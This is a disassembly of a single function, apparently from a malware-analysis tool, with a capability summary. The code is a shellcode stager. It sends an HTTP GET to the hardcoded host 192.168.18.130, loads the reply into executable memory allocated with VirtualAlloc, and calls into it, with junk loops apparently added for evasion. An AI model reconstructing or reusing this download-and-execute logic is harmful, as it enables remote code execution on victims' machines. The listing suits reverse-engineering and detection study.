Function at 0x401aea
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0xb974
call fcn.00402cc0
sub esp, eax
call dbg.__main
mov dword [ebp - 0xc], 0
jmp 0x401b2e
mov dword [esp], 0x1af8
call main
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x8124], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x2041
jle 0x401b12
call sym._SfTKFqa
call sym._taGLUzZ
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
jmp 0x401b69
mov dword [esp], 0x1b6d
call main
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xa494], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x8db
jle 0x401b4d
call sym._sIicPXQKvu
mov dword [esp + 8], eax
mov dword [esp + 4], str.GET___s_HTTP_1.1_r_nAccept_Encoding:_identity_r_nHost:_192.168.18.130:80_r_nConnection:_close_r_nUser_Agent:_Mozilla_4.0__compatible__MSIE_6.1__Windows_NT_r_n_r_n
lea eax, [ebp - 0xa55c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0xa55c]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
lea eax, [ebp - 0xa55c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_send]
call eax
sub esp, 0x10
mov dword [esp], 0x12c
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0xf4240
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], 0
jmp 0x401c2a
call sym._DmFdSKGPE
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0x8124]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x2041
jle 0x401c0b
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x400
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x10], eax
cmp dword [ebp - 0x1c], 0
jg 0x401c39
mov dword [ebp - 0xc], 0
jmp 0x401c94
mov dword [esp], 0x1ea3
call main
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xb968], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x502
jle 0x401c78
mov dword [ebp - 0xc], 0
jmp 0x401cc5
call sym._LHkLhhyP
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xa494]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x8db
jle 0x401ca6
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_closesocket]
call eax
sub esp, 4
mov eax, dword [sym.imp.WSOCK32.DLL_WSACleanup]
call eax
mov dword [esp + 4], str._r_n_r_n
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._strstr
add eax, 4
call eax
mov dword [ebp - 0xc], 0
jmp 0x401d25
call sym._wQNHhmRO
mov edx, dword [ebp - 0xc]
mov edx, dword [ebp + edx*4 - 0xb968]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcpy
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x502
jle 0x401d06
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret